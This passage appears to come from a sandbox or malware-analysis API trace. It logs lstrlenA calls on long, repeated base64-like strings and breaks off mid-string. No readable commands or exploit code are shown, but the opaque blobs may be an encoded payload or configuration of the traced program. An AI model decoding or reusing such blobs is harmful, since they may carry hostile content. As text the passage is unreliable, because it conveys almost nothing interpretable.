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") returned 5792 [0042.881] lstrlenA (lpString="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") returned 5792 [0042.881] lstrlenA (lpString="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